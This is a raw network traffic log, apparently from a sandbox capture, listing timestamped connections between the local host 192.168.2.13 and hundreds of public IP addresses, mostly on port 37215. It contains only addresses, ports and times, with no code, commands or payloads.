Jul 20, 2024 23:01:00.080518961 CEST	37215	50563	157.173.199.42	192.168.2.13
Jul 20, 2024 23:01:00.080550909 CEST	37215	50563	197.3.128.173	192.168.2.13
Jul 20, 2024 23:01:00.080580950 CEST	37215	50563	197.12.169.82	192.168.2.13
Jul 20, 2024 23:01:00.080610991 CEST	37215	50563	157.185.246.104	192.168.2.13
Jul 20, 2024 23:01:00.080642939 CEST	37215	50563	197.28.62.129	192.168.2.13
Jul 20, 2024 23:01:00.080779076 CEST	37215	50563	157.47.74.129	192.168.2.13
Jul 20, 2024 23:01:00.080807924 CEST	37215	50563	157.217.115.59	192.168.2.13
Jul 20, 2024 23:01:00.080837965 CEST	37215	50563	41.71.97.69	192.168.2.13
Jul 20, 2024 23:01:00.081100941 CEST	50563	37215	192.168.2.13	157.188.43.182
Jul 20, 2024 23:01:00.081100941 CEST	50563	37215	192.168.2.13	197.49.222.44
Jul 20, 2024 23:01:00.081100941 CEST	50563	37215	192.168.2.13	41.167.217.21
Jul 20, 2024 23:01:00.081100941 CEST	50563	37215	192.168.2.13	197.17.10.227
Jul 20, 2024 23:01:00.081100941 CEST	50563	37215	192.168.2.13	41.248.214.0
Jul 20, 2024 23:01:00.081100941 CEST	50563	37215	192.168.2.13	41.251.18.109
Jul 20, 2024 23:01:00.081100941 CEST	50563	37215	192.168.2.13	41.24.107.244
Jul 20, 2024 23:01:00.081100941 CEST	50563	37215	192.168.2.13	41.174.97.64
Jul 20, 2024 23:01:00.081413031 CEST	50563	37215	192.168.2.13	197.53.114.4
Jul 20, 2024 23:01:00.081413031 CEST	50563	37215	192.168.2.13	197.83.107.218
Jul 20, 2024 23:01:00.081413031 CEST	50563	37215	192.168.2.13	192.136.158.102
Jul 20, 2024 23:01:00.081413031 CEST	50563	37215	192.168.2.13	41.215.54.255
Jul 20, 2024 23:01:00.081413031 CEST	50563	37215	192.168.2.13	197.214.26.254
Jul 20, 2024 23:01:00.081413031 CEST	50563	37215	192.168.2.13	41.157.87.9
Jul 20, 2024 23:01:00.081413031 CEST	50563	37215	192.168.2.13	157.204.6.4
Jul 20, 2024 23:01:00.081413031 CEST	50563	37215	192.168.2.13	197.215.77.6
Jul 20, 2024 23:01:00.081486940 CEST	37215	50563	41.154.139.135	192.168.2.13
Jul 20, 2024 23:01:00.081541061 CEST	37215	50563	197.2.40.4	192.168.2.13
Jul 20, 2024 23:01:00.081571102 CEST	37215	50563	171.255.58.196	192.168.2.13
Jul 20, 2024 23:01:00.081602097 CEST	37215	50563	197.54.201.107	192.168.2.13
Jul 20, 2024 23:01:00.081630945 CEST	37215	50563	157.81.239.235	192.168.2.13
Jul 20, 2024 23:01:00.081660032 CEST	37215	50563	137.251.208.230	192.168.2.13
Jul 20, 2024 23:01:00.081746101 CEST	37215	50563	197.113.144.11	192.168.2.13
Jul 20, 2024 23:01:00.081778049 CEST	37215	50563	41.96.4.94	192.168.2.13
Jul 20, 2024 23:01:00.081809044 CEST	37215	50563	47.238.173.9	192.168.2.13
Jul 20, 2024 23:01:00.081852913 CEST	37215	50563	157.242.34.8	192.168.2.13
Jul 20, 2024 23:01:00.081882954 CEST	37215	50563	197.217.94.248	192.168.2.13
Jul 20, 2024 23:01:00.081912994 CEST	37215	50563	41.140.230.143	192.168.2.13
Jul 20, 2024 23:01:00.082230091 CEST	50563	37215	192.168.2.13	157.243.126.145
Jul 20, 2024 23:01:00.082230091 CEST	50563	37215	192.168.2.13	157.71.160.191
Jul 20, 2024 23:01:00.082230091 CEST	50563	37215	192.168.2.13	197.77.114.34
Jul 20, 2024 23:01:00.082230091 CEST	50563	37215	192.168.2.13	157.12.134.58
Jul 20, 2024 23:01:00.082230091 CEST	50563	37215	192.168.2.13	157.200.28.48
Jul 20, 2024 23:01:00.082230091 CEST	50563	37215	192.168.2.13	197.186.137.146
Jul 20, 2024 23:01:00.082230091 CEST	50563	37215	192.168.2.13	41.68.213.107
Jul 20, 2024 23:01:00.082230091 CEST	50563	37215	192.168.2.13	41.236.26.155
Jul 20, 2024 23:01:00.082469940 CEST	50563	37215	192.168.2.13	157.159.38.106
Jul 20, 2024 23:01:00.082469940 CEST	50563	37215	192.168.2.13	197.101.194.182
Jul 20, 2024 23:01:00.082469940 CEST	50563	37215	192.168.2.13	197.7.228.103
Jul 20, 2024 23:01:00.082469940 CEST	50563	37215	192.168.2.13	197.221.120.154
Jul 20, 2024 23:01:00.082469940 CEST	50563	37215	192.168.2.13	197.130.192.147
Jul 20, 2024 23:01:00.082469940 CEST	50563	37215	192.168.2.13	41.130.95.204
Jul 20, 2024 23:01:00.082469940 CEST	50563	37215	192.168.2.13	197.67.197.224
Jul 20, 2024 23:01:00.082469940 CEST	50563	37215	192.168.2.13	197.236.227.173
Jul 20, 2024 23:01:00.082535028 CEST	41122	52869	192.168.2.13	57.30.119.39
Jul 20, 2024 23:01:00.082535028 CEST	50563	37215	192.168.2.13	197.74.4.205
Jul 20, 2024 23:01:00.082535028 CEST	50563	37215	192.168.2.13	197.31.246.31
Jul 20, 2024 23:01:00.082535028 CEST	50563	37215	192.168.2.13	197.107.200.173
Jul 20, 2024 23:01:00.082535028 CEST	50563	37215	192.168.2.13	41.171.233.155
Jul 20, 2024 23:01:00.082535028 CEST	50563	37215	192.168.2.13	157.18.137.5
Jul 20, 2024 23:01:00.082535028 CEST	50563	37215	192.168.2.13	40.45.115.153
Jul 20, 2024 23:01:00.082535028 CEST	50563	37215	192.168.2.13	41.74.135.43
Jul 20, 2024 23:01:00.082596064 CEST	37215	50563	197.43.150.29	192.168.2.13
Jul 20, 2024 23:01:00.082784891 CEST	37215	50563	197.214.104.241	192.168.2.13
Jul 20, 2024 23:01:00.082844973 CEST	37215	50563	157.162.35.169	192.168.2.13
Jul 20, 2024 23:01:00.082874060 CEST	37215	50563	64.40.133.93	192.168.2.13
Jul 20, 2024 23:01:00.082906008 CEST	37215	50563	87.96.38.237	192.168.2.13
Jul 20, 2024 23:01:00.082935095 CEST	37215	50563	41.255.50.16	192.168.2.13
Jul 20, 2024 23:01:00.082963943 CEST	37215	50563	157.208.118.243	192.168.2.13
Jul 20, 2024 23:01:00.082993031 CEST	37215	50563	157.171.92.123	192.168.2.13
Jul 20, 2024 23:01:00.083353996 CEST	37215	50563	41.142.181.62	192.168.2.13
Jul 20, 2024 23:01:00.083391905 CEST	37215	50563	14.145.220.146	192.168.2.13
Jul 20, 2024 23:01:00.083420038 CEST	37215	50563	157.199.202.121	192.168.2.13
Jul 20, 2024 23:01:00.083450079 CEST	37215	50563	168.182.205.114	192.168.2.13
Jul 20, 2024 23:01:00.083477974 CEST	37215	50563	141.78.2.84	192.168.2.13
Jul 20, 2024 23:01:00.083506107 CEST	37215	50563	197.150.40.90	192.168.2.13
Jul 20, 2024 23:01:00.083597898 CEST	37215	50563	157.194.214.218	192.168.2.13
Jul 20, 2024 23:01:00.083836079 CEST	37215	50563	218.119.176.170	192.168.2.13
Jul 20, 2024 23:01:00.084022045 CEST	50563	37215	192.168.2.13	13.152.140.36
Jul 20, 2024 23:01:00.084022045 CEST	50563	37215	192.168.2.13	47.63.66.179
Jul 20, 2024 23:01:00.084022045 CEST	50563	37215	192.168.2.13	197.141.132.83
Jul 20, 2024 23:01:00.084022045 CEST	50563	37215	192.168.2.13	201.248.6.28
Jul 20, 2024 23:01:00.084022045 CEST	50563	37215	192.168.2.13	41.104.162.59
Jul 20, 2024 23:01:00.084022045 CEST	50563	37215	192.168.2.13	197.245.177.60
Jul 20, 2024 23:01:00.084022045 CEST	50563	37215	192.168.2.13	41.39.134.254
Jul 20, 2024 23:01:00.084022045 CEST	50563	37215	192.168.2.13	80.166.177.56
Jul 20, 2024 23:01:00.084213018 CEST	37215	50563	157.101.162.77	192.168.2.13
Jul 20, 2024 23:01:00.084248066 CEST	37215	50563	41.204.123.230	192.168.2.13
Jul 20, 2024 23:01:00.084278107 CEST	37215	50563	41.116.235.163	192.168.2.13
Jul 20, 2024 23:01:00.084342003 CEST	37215	50563	197.118.70.108	192.168.2.13
Jul 20, 2024 23:01:00.084381104 CEST	37215	50563	197.79.63.222	192.168.2.13
Jul 20, 2024 23:01:00.084410906 CEST	37215	50563	210.103.19.185	192.168.2.13
Jul 20, 2024 23:01:00.084439039 CEST	37215	50563	41.209.16.109	192.168.2.13
Jul 20, 2024 23:01:00.084517956 CEST	37215	50563	41.180.188.91	192.168.2.13
Jul 20, 2024 23:01:00.084547997 CEST	37215	50563	157.187.16.84	192.168.2.13
Jul 20, 2024 23:01:00.084575891 CEST	37215	50563	150.36.84.70	192.168.2.13
Jul 20, 2024 23:01:00.084722042 CEST	50563	37215	192.168.2.13	111.163.203.195
Jul 20, 2024 23:01:00.084722042 CEST	50563	37215	192.168.2.13	41.60.18.93
Jul 20, 2024 23:01:00.084722042 CEST	50563	37215	192.168.2.13	157.45.209.254
Jul 20, 2024 23:01:00.084722042 CEST	50563	37215	192.168.2.13	157.38.182.214
Jul 20, 2024 23:01:00.084722042 CEST	50563	37215	192.168.2.13	41.190.198.11
Jul 20, 2024 23:01:00.084722042 CEST	50563	37215	192.168.2.13	157.122.210.70
Jul 20, 2024 23:01:00.084722042 CEST	50563	37215	192.168.2.13	204.12.39.60
Jul 20, 2024 23:01:00.084722042 CEST	50563	37215	192.168.2.13	157.181.19.73
Jul 20, 2024 23:01:00.084919930 CEST	37215	50563	41.37.206.254	192.168.2.13
Jul 20, 2024 23:01:00.085081100 CEST	50563	37215	192.168.2.13	197.193.80.89
Jul 20, 2024 23:01:00.085081100 CEST	50563	37215	192.168.2.13	41.17.157.164
Jul 20, 2024 23:01:00.085081100 CEST	50563	37215	192.168.2.13	197.243.136.112
Jul 20, 2024 23:01:00.085081100 CEST	50563	37215	192.168.2.13	41.154.239.57
Jul 20, 2024 23:01:00.085081100 CEST	50563	37215	192.168.2.13	183.67.166.218
Jul 20, 2024 23:01:00.085081100 CEST	50563	37215	192.168.2.13	41.158.187.102
Jul 20, 2024 23:01:00.085081100 CEST	50563	37215	192.168.2.13	41.90.120.141
Jul 20, 2024 23:01:00.085081100 CEST	50563	37215	192.168.2.13	197.80.205.190
Jul 20, 2024 23:01:00.085325956 CEST	37215	50563	197.218.97.111	192.168.2.13
Jul 20, 2024 23:01:00.085350037 CEST	50563	37215	192.168.2.13	41.120.70.192
Jul 20, 2024 23:01:00.085350037 CEST	50563	37215	192.168.2.13	41.204.18.19
Jul 20, 2024 23:01:00.085350037 CEST	50563	37215	192.168.2.13	41.170.121.130
Jul 20, 2024 23:01:00.085350037 CEST	50563	37215	192.168.2.13	157.44.27.109
Jul 20, 2024 23:01:00.085350037 CEST	50563	37215	192.168.2.13	197.25.72.152
Jul 20, 2024 23:01:00.085350037 CEST	50563	37215	192.168.2.13	25.125.187.17
Jul 20, 2024 23:01:00.085350037 CEST	50563	37215	192.168.2.13	157.141.29.177
Jul 20, 2024 23:01:00.085350990 CEST	50563	37215	192.168.2.13	173.132.232.37
Jul 20, 2024 23:01:00.085506916 CEST	50563	37215	192.168.2.13	157.69.83.103
Jul 20, 2024 23:01:00.085506916 CEST	50563	37215	192.168.2.13	14.117.126.33
Jul 20, 2024 23:01:00.085506916 CEST	50563	37215	192.168.2.13	41.119.197.216
Jul 20, 2024 23:01:00.085506916 CEST	50563	37215	192.168.2.13	197.26.157.201
Jul 20, 2024 23:01:00.085506916 CEST	50563	37215	192.168.2.13	41.101.96.17
Jul 20, 2024 23:01:00.085506916 CEST	50563	37215	192.168.2.13	197.206.115.125
Jul 20, 2024 23:01:00.085506916 CEST	50563	37215	192.168.2.13	157.137.243.27
Jul 20, 2024 23:01:00.085506916 CEST	50563	37215	192.168.2.13	41.174.42.115
Jul 20, 2024 23:01:00.086025000 CEST	37215	50563	197.103.24.251	192.168.2.13
Jul 20, 2024 23:01:00.086055040 CEST	37215	50563	41.83.163.214	192.168.2.13
Jul 20, 2024 23:01:00.086082935 CEST	37215	50563	205.213.110.131	192.168.2.13
Jul 20, 2024 23:01:00.086106062 CEST	50563	37215	192.168.2.13	140.242.21.87
Jul 20, 2024 23:01:00.086106062 CEST	50563	37215	192.168.2.13	41.59.60.215
Jul 20, 2024 23:01:00.086106062 CEST	50563	37215	192.168.2.13	91.112.89.216
Jul 20, 2024 23:01:00.086106062 CEST	50563	37215	192.168.2.13	41.184.93.79
Jul 20, 2024 23:01:00.086106062 CEST	50563	37215	192.168.2.13	157.171.147.236
Jul 20, 2024 23:01:00.086106062 CEST	50563	37215	192.168.2.13	98.25.171.48
Jul 20, 2024 23:01:00.086106062 CEST	50563	37215	192.168.2.13	70.116.57.7
Jul 20, 2024 23:01:00.086106062 CEST	50563	37215	192.168.2.13	125.16.244.96
Jul 20, 2024 23:01:00.086121082 CEST	37215	50563	157.200.220.148	192.168.2.13
Jul 20, 2024 23:01:00.086148977 CEST	37215	50563	41.103.47.251	192.168.2.13
Jul 20, 2024 23:01:00.086175919 CEST	37215	50563	41.252.153.174	192.168.2.13
Jul 20, 2024 23:01:00.086383104 CEST	37215	50563	19.63.222.55	192.168.2.13
Jul 20, 2024 23:01:00.086411953 CEST	37215	50563	41.240.194.108	192.168.2.13
Jul 20, 2024 23:01:00.086441040 CEST	37215	50563	221.227.34.24	192.168.2.13
Jul 20, 2024 23:01:00.086468935 CEST	37215	50563	197.227.153.203	192.168.2.13
Jul 20, 2024 23:01:00.086673021 CEST	37215	50563	197.7.205.229	192.168.2.13
Jul 20, 2024 23:01:00.086702108 CEST	37215	50563	197.66.47.215	192.168.2.13
Jul 20, 2024 23:01:00.086913109 CEST	50563	37215	192.168.2.13	197.95.163.59
Jul 20, 2024 23:01:00.086913109 CEST	50563	37215	192.168.2.13	41.71.97.69
Jul 20, 2024 23:01:00.086913109 CEST	50563	37215	192.168.2.13	157.242.34.8
Jul 20, 2024 23:01:00.086913109 CEST	50563	37215	192.168.2.13	197.43.150.29
Jul 20, 2024 23:01:00.086913109 CEST	50563	37215	192.168.2.13	157.208.118.243
Jul 20, 2024 23:01:00.086913109 CEST	50563	37215	192.168.2.13	168.182.205.114
Jul 20, 2024 23:01:00.087073088 CEST	37215	50563	157.188.43.182	192.168.2.13
Jul 20, 2024 23:01:00.087101936 CEST	37215	50563	41.59.223.239	192.168.2.13
Jul 20, 2024 23:01:00.087131023 CEST	37215	50563	157.153.183.158	192.168.2.13
Jul 20, 2024 23:01:00.087163925 CEST	37215	50563	197.53.114.4	192.168.2.13
Jul 20, 2024 23:01:00.087201118 CEST	37215	50563	41.49.78.43	192.168.2.13
Jul 20, 2024 23:01:00.087229013 CEST	37215	50563	41.9.140.35	192.168.2.13
Jul 20, 2024 23:01:00.087256908 CEST	37215	50563	197.83.107.218	192.168.2.13
Jul 20, 2024 23:01:00.087282896 CEST	37215	50563	41.155.18.221	192.168.2.13
Jul 20, 2024 23:01:00.087311983 CEST	37215	50563	197.22.144.135	192.168.2.13
Jul 20, 2024 23:01:00.087472916 CEST	37215	50563	157.243.126.145	192.168.2.13
Jul 20, 2024 23:01:00.087502003 CEST	37215	50563	171.62.158.14	192.168.2.13
Jul 20, 2024 23:01:00.087529898 CEST	37215	50563	41.221.111.207	192.168.2.13
Jul 20, 2024 23:01:00.087742090 CEST	37215	50563	192.136.158.102	192.168.2.13
Jul 20, 2024 23:01:00.087929964 CEST	37215	50563	157.71.160.191	192.168.2.13
Jul 20, 2024 23:01:00.088102102 CEST	50563	37215	192.168.2.13	197.151.215.75
Jul 20, 2024 23:01:00.088102102 CEST	50563	37215	192.168.2.13	197.146.235.18
Jul 20, 2024 23:01:00.088102102 CEST	50563	37215	192.168.2.13	125.124.24.16
Jul 20, 2024 23:01:00.088102102 CEST	50563	37215	192.168.2.13	197.52.49.166
Jul 20, 2024 23:01:00.088102102 CEST	50563	37215	192.168.2.13	41.235.172.174
Jul 20, 2024 23:01:00.088102102 CEST	50563	37215	192.168.2.13	197.112.159.46
Jul 20, 2024 23:01:00.088102102 CEST	50563	37215	192.168.2.13	197.75.193.161
Jul 20, 2024 23:01:00.088102102 CEST	50563	37215	192.168.2.13	197.218.185.44
Jul 20, 2024 23:01:00.088248968 CEST	50563	37215	192.168.2.13	202.117.135.95
Jul 20, 2024 23:01:00.088248968 CEST	50563	37215	192.168.2.13	197.26.124.173
Jul 20, 2024 23:01:00.088248968 CEST	50563	37215	192.168.2.13	89.176.16.102
Jul 20, 2024 23:01:00.088248968 CEST	50563	37215	192.168.2.13	41.79.65.151
Jul 20, 2024 23:01:00.088248968 CEST	50563	37215	192.168.2.13	157.155.116.140
Jul 20, 2024 23:01:00.088248968 CEST	50563	37215	192.168.2.13	197.96.187.238
Jul 20, 2024 23:01:00.088248968 CEST	50563	37215	192.168.2.13	157.130.93.53
Jul 20, 2024 23:01:00.088249922 CEST	50563	37215	192.168.2.13	197.164.134.229
Jul 20, 2024 23:01:00.088409901 CEST	50563	37215	192.168.2.13	41.24.241.194
Jul 20, 2024 23:01:00.088409901 CEST	50563	37215	192.168.2.13	41.81.13.239
Jul 20, 2024 23:01:00.088409901 CEST	50563	37215	192.168.2.13	41.108.193.243
Jul 20, 2024 23:01:00.088409901 CEST	50563	37215	192.168.2.13	62.21.175.88
Jul 20, 2024 23:01:00.088409901 CEST	50563	37215	192.168.2.13	41.35.182.26
Jul 20, 2024 23:01:00.088409901 CEST	50563	37215	192.168.2.13	197.145.104.62
Jul 20, 2024 23:01:00.088409901 CEST	50563	37215	192.168.2.13	157.95.222.179
Jul 20, 2024 23:01:00.088409901 CEST	50563	37215	192.168.2.13	41.212.233.130
Jul 20, 2024 23:01:00.088443041 CEST	37215	50563	157.159.38.106	192.168.2.13
Jul 20, 2024 23:01:00.088720083 CEST	37215	50563	197.101.194.182	192.168.2.13
Jul 20, 2024 23:01:00.088748932 CEST	37215	50563	197.7.228.103	192.168.2.13
Jul 20, 2024 23:01:00.089065075 CEST	37215	50563	197.221.120.154	192.168.2.13
Jul 20, 2024 23:01:00.089492083 CEST	37215	50563	197.130.192.147	192.168.2.13
Jul 20, 2024 23:01:00.089687109 CEST	37215	50563	41.130.95.204	192.168.2.13
Jul 20, 2024 23:01:00.089781046 CEST	37215	50563	197.49.222.44	192.168.2.13
Jul 20, 2024 23:01:00.090179920 CEST	37215	50563	197.67.197.224	192.168.2.13
Jul 20, 2024 23:01:00.090233088 CEST	37215	50563	197.236.227.173	192.168.2.13
Jul 20, 2024 23:01:00.090560913 CEST	37215	50563	197.193.80.89	192.168.2.13
Jul 20, 2024 23:01:00.090574026 CEST	50563	37215	192.168.2.13	197.189.146.222
Jul 20, 2024 23:01:00.090574026 CEST	50563	37215	192.168.2.13	197.78.107.93
Jul 20, 2024 23:01:00.090574026 CEST	50563	37215	192.168.2.13	197.194.56.97
Jul 20, 2024 23:01:00.090574026 CEST	50563	37215	192.168.2.13	197.189.139.115
Jul 20, 2024 23:01:00.090574026 CEST	50563	37215	192.168.2.13	197.206.209.177
Jul 20, 2024 23:01:00.090574026 CEST	50563	37215	192.168.2.13	197.80.112.192
Jul 20, 2024 23:01:00.090574026 CEST	50563	37215	192.168.2.13	197.170.0.226
Jul 20, 2024 23:01:00.090574026 CEST	50563	37215	192.168.2.13	197.13.115.180
Jul 20, 2024 23:01:00.090926886 CEST	37215	50563	41.17.157.164	192.168.2.13
Jul 20, 2024 23:01:00.091528893 CEST	37215	50563	197.243.136.112	192.168.2.13
Jul 20, 2024 23:01:00.091562033 CEST	37215	50563	41.154.239.57	192.168.2.13
Jul 20, 2024 23:01:00.091821909 CEST	50563	37215	192.168.2.13	157.81.89.101
Jul 20, 2024 23:01:00.091821909 CEST	50563	37215	192.168.2.13	197.187.132.119
Jul 20, 2024 23:01:00.091821909 CEST	50563	37215	192.168.2.13	46.91.29.61
Jul 20, 2024 23:01:00.091821909 CEST	50563	37215	192.168.2.13	157.12.16.61
Jul 20, 2024 23:01:00.091821909 CEST	50563	37215	192.168.2.13	197.182.149.227
Jul 20, 2024 23:01:00.091821909 CEST	50563	37215	192.168.2.13	197.28.62.129
Jul 20, 2024 23:01:00.091821909 CEST	50563	37215	192.168.2.13	157.217.115.59
Jul 20, 2024 23:01:00.092235088 CEST	50563	37215	192.168.2.13	157.252.104.249
Jul 20, 2024 23:01:00.092235088 CEST	50563	37215	192.168.2.13	197.199.15.206
Jul 20, 2024 23:01:00.092235088 CEST	50563	37215	192.168.2.13	41.151.30.29
Jul 20, 2024 23:01:00.092235088 CEST	50563	37215	192.168.2.13	197.156.183.155
Jul 20, 2024 23:01:00.092235088 CEST	50563	37215	192.168.2.13	41.170.154.240
Jul 20, 2024 23:01:00.092235088 CEST	50563	37215	192.168.2.13	197.12.169.82
Jul 20, 2024 23:01:00.092235088 CEST	50563	37215	192.168.2.13	41.154.139.135
Jul 20, 2024 23:01:00.092315912 CEST	50563	37215	192.168.2.13	197.243.107.118
Jul 20, 2024 23:01:00.092315912 CEST	50563	37215	192.168.2.13	197.192.158.37
Jul 20, 2024 23:01:00.092315912 CEST	50563	37215	192.168.2.13	157.185.246.104
Jul 20, 2024 23:01:00.092315912 CEST	50563	37215	192.168.2.13	41.96.4.94
Jul 20, 2024 23:01:00.092315912 CEST	50563	37215	192.168.2.13	87.96.38.237
Jul 20, 2024 23:01:00.092315912 CEST	50563	37215	192.168.2.13	157.171.92.123
Jul 20, 2024 23:01:00.092315912 CEST	50563	37215	192.168.2.13	157.199.202.121
Jul 20, 2024 23:01:00.092315912 CEST	50563	37215	192.168.2.13	41.204.123.230
Jul 20, 2024 23:01:00.092387915 CEST	37215	50563	183.67.166.218	192.168.2.13
Jul 20, 2024 23:01:00.092710972 CEST	37215	50563	41.158.187.102	192.168.2.13
Jul 20, 2024 23:01:00.093543053 CEST	37215	50563	41.90.120.141	192.168.2.13
Jul 20, 2024 23:01:00.093583107 CEST	50563	37215	192.168.2.13	221.202.160.22
Jul 20, 2024 23:01:00.093584061 CEST	50563	37215	192.168.2.13	170.253.218.179
Jul 20, 2024 23:01:00.093584061 CEST	50563	37215	192.168.2.13	161.87.144.23
Jul 20, 2024 23:01:00.093584061 CEST	50563	37215	192.168.2.13	41.45.233.5
Jul 20, 2024 23:01:00.093584061 CEST	50563	37215	192.168.2.13	41.58.206.220
Jul 20, 2024 23:01:00.093584061 CEST	50563	37215	192.168.2.13	159.11.170.80
Jul 20, 2024 23:01:00.093584061 CEST	50563	37215	192.168.2.13	41.29.132.43
Jul 20, 2024 23:01:00.093584061 CEST	50563	37215	192.168.2.13	157.51.20.237
Jul 20, 2024 23:01:00.093633890 CEST	37215	50563	197.80.205.190	192.168.2.13
Jul 20, 2024 23:01:00.093672037 CEST	37215	50563	197.191.13.46	192.168.2.13
Jul 20, 2024 23:01:00.093703985 CEST	37215	50563	41.24.241.194	192.168.2.13
Jul 20, 2024 23:01:00.094295979 CEST	50563	37215	192.168.2.13	41.180.196.49
Jul 20, 2024 23:01:00.094295979 CEST	50563	37215	192.168.2.13	197.210.219.94
Jul 20, 2024 23:01:00.094295979 CEST	50563	37215	192.168.2.13	197.16.60.88
Jul 20, 2024 23:01:00.094295979 CEST	50563	37215	192.168.2.13	73.212.180.198
Jul 20, 2024 23:01:00.094295979 CEST	50563	37215	192.168.2.13	157.180.142.161
Jul 20, 2024 23:01:00.094295979 CEST	50563	37215	192.168.2.13	157.15.187.56
Jul 20, 2024 23:01:00.094295979 CEST	50563	37215	192.168.2.13	178.215.23.149
Jul 20, 2024 23:01:00.094295979 CEST	50563	37215	192.168.2.13	179.43.198.214
Jul 20, 2024 23:01:00.094347954 CEST	37215	50563	41.81.13.239	192.168.2.13
Jul 20, 2024 23:01:00.094542027 CEST	50563	37215	192.168.2.13	147.21.178.207
Jul 20, 2024 23:01:00.094542980 CEST	50563	37215	192.168.2.13	197.30.140.44
Jul 20, 2024 23:01:00.094542980 CEST	50563	37215	192.168.2.13	157.122.230.247
Jul 20, 2024 23:01:00.094542980 CEST	50563	37215	192.168.2.13	197.33.169.56
Jul 20, 2024 23:01:00.094542980 CEST	50563	37215	192.168.2.13	197.201.223.21
Jul 20, 2024 23:01:00.094542980 CEST	50563	37215	192.168.2.13	41.116.144.63
Jul 20, 2024 23:01:00.094542980 CEST	50563	37215	192.168.2.13	93.108.13.246
Jul 20, 2024 23:01:00.094542980 CEST	50563	37215	192.168.2.13	157.77.4.214
Jul 20, 2024 23:01:00.094665051 CEST	37215	50563	119.59.179.103	192.168.2.13
Jul 20, 2024 23:01:00.095630884 CEST	37215	50563	41.108.193.243	192.168.2.13
Jul 20, 2024 23:01:00.095655918 CEST	37215	50563	41.37.83.90	192.168.2.13
Jul 20, 2024 23:01:00.095662117 CEST	50563	37215	192.168.2.13	197.2.40.4
Jul 20, 2024 23:01:00.095662117 CEST	50563	37215	192.168.2.13	197.54.201.107
Jul 20, 2024 23:01:00.095662117 CEST	50563	37215	192.168.2.13	47.238.173.9
Jul 20, 2024 23:01:00.095662117 CEST	50563	37215	192.168.2.13	64.40.133.93
Jul 20, 2024 23:01:00.095662117 CEST	50563	37215	192.168.2.13	218.119.176.170
Jul 20, 2024 23:01:00.095662117 CEST	50563	37215	192.168.2.13	41.116.235.163
Jul 20, 2024 23:01:00.095662117 CEST	50563	37215	192.168.2.13	157.187.16.84
Jul 20, 2024 23:01:00.095662117 CEST	50563	37215	192.168.2.13	41.103.47.251
Jul 20, 2024 23:01:00.095671892 CEST	37215	50563	41.167.217.21	192.168.2.13
Jul 20, 2024 23:01:00.095767975 CEST	37215	50563	197.189.146.222	192.168.2.13
Jul 20, 2024 23:01:00.096075058 CEST	37215	50563	197.17.10.227	192.168.2.13
Jul 20, 2024 23:01:00.096087933 CEST	37215	50563	197.78.107.93	192.168.2.13
Jul 20, 2024 23:01:00.096239090 CEST	37215	50563	41.248.214.0	192.168.2.13
Jul 20, 2024 23:01:00.096287012 CEST	50563	37215	192.168.2.13	171.255.58.196
Jul 20, 2024 23:01:00.096287012 CEST	50563	37215	192.168.2.13	137.251.208.230
Jul 20, 2024 23:01:00.096287012 CEST	50563	37215	192.168.2.13	197.113.144.11
Jul 20, 2024 23:01:00.096287012 CEST	50563	37215	192.168.2.13	157.162.35.169
Jul 20, 2024 23:01:00.096287012 CEST	50563	37215	192.168.2.13	41.255.50.16
Jul 20, 2024 23:01:00.096287966 CEST	50563	37215	192.168.2.13	197.150.40.90
Jul 20, 2024 23:01:00.096287966 CEST	50563	37215	192.168.2.13	157.101.162.77
Jul 20, 2024 23:01:00.096287966 CEST	50563	37215	192.168.2.13	197.118.70.108
Jul 20, 2024 23:01:00.096498966 CEST	50563	37215	192.168.2.13	90.118.180.212
Jul 20, 2024 23:01:00.096498966 CEST	50563	37215	192.168.2.13	198.40.74.18
Jul 20, 2024 23:01:00.096498966 CEST	50563	37215	192.168.2.13	197.123.108.99
Jul 20, 2024 23:01:00.096498966 CEST	50563	37215	192.168.2.13	197.75.142.184
Jul 20, 2024 23:01:00.096498966 CEST	50563	37215	192.168.2.13	197.3.128.173
Jul 20, 2024 23:01:00.096498966 CEST	50563	37215	192.168.2.13	41.209.16.109
Jul 20, 2024 23:01:00.096498966 CEST	50563	37215	192.168.2.13	197.103.24.251
Jul 20, 2024 23:01:00.096499920 CEST	50563	37215	192.168.2.13	157.200.220.148
Jul 20, 2024 23:01:00.096906900 CEST	37215	50563	41.251.18.109	192.168.2.13
Jul 20, 2024 23:01:00.096954107 CEST	37215	50563	62.21.175.88	192.168.2.13
Jul 20, 2024 23:01:00.097583055 CEST	50563	37215	192.168.2.13	197.240.195.159
Jul 20, 2024 23:01:00.097583055 CEST	50563	37215	192.168.2.13	157.173.199.42
Jul 20, 2024 23:01:00.097583055 CEST	50563	37215	192.168.2.13	157.47.74.129
Jul 20, 2024 23:01:00.097583055 CEST	50563	37215	192.168.2.13	157.81.239.235
Jul 20, 2024 23:01:00.097583055 CEST	50563	37215	192.168.2.13	41.140.230.143
Jul 20, 2024 23:01:00.097583055 CEST	50563	37215	192.168.2.13	197.214.104.241
Jul 20, 2024 23:01:00.097583055 CEST	50563	37215	192.168.2.13	14.145.220.146
Jul 20, 2024 23:01:00.097583055 CEST	50563	37215	192.168.2.13	141.78.2.84
Jul 20, 2024 23:01:00.097937107 CEST	37215	50563	41.35.182.26	192.168.2.13
Jul 20, 2024 23:01:00.098345995 CEST	50563	37215	192.168.2.13	41.217.147.78
Jul 20, 2024 23:01:00.098345995 CEST	50563	37215	192.168.2.13	157.191.77.209
Jul 20, 2024 23:01:00.098345995 CEST	50563	37215	192.168.2.13	70.239.125.84
Jul 20, 2024 23:01:00.098345995 CEST	50563	37215	192.168.2.13	197.137.132.163
Jul 20, 2024 23:01:00.098346949 CEST	50563	37215	192.168.2.13	41.156.209.55
Jul 20, 2024 23:01:00.098346949 CEST	50563	37215	192.168.2.13	92.31.50.53
Jul 20, 2024 23:01:00.098346949 CEST	50563	37215	192.168.2.13	199.7.187.18
Jul 20, 2024 23:01:00.098346949 CEST	50563	37215	192.168.2.13	41.31.110.255
Jul 20, 2024 23:01:00.098421097 CEST	50563	37215	192.168.2.13	197.217.94.248
Jul 20, 2024 23:01:00.098421097 CEST	50563	37215	192.168.2.13	221.227.34.24
Jul 20, 2024 23:01:00.098421097 CEST	50563	37215	192.168.2.13	197.66.47.215
Jul 20, 2024 23:01:00.098421097 CEST	50563	37215	192.168.2.13	197.191.13.46
Jul 20, 2024 23:01:00.098421097 CEST	50563	37215	192.168.2.13	119.59.179.103
Jul 20, 2024 23:01:00.098421097 CEST	50563	37215	192.168.2.13	41.37.83.90
Jul 20, 2024 23:01:00.098421097 CEST	50563	37215	192.168.2.13	197.189.146.222
Jul 20, 2024 23:01:00.098421097 CEST	50563	37215	192.168.2.13	197.78.107.93
Jul 20, 2024 23:01:00.098913908 CEST	37215	50563	41.24.107.244	192.168.2.13
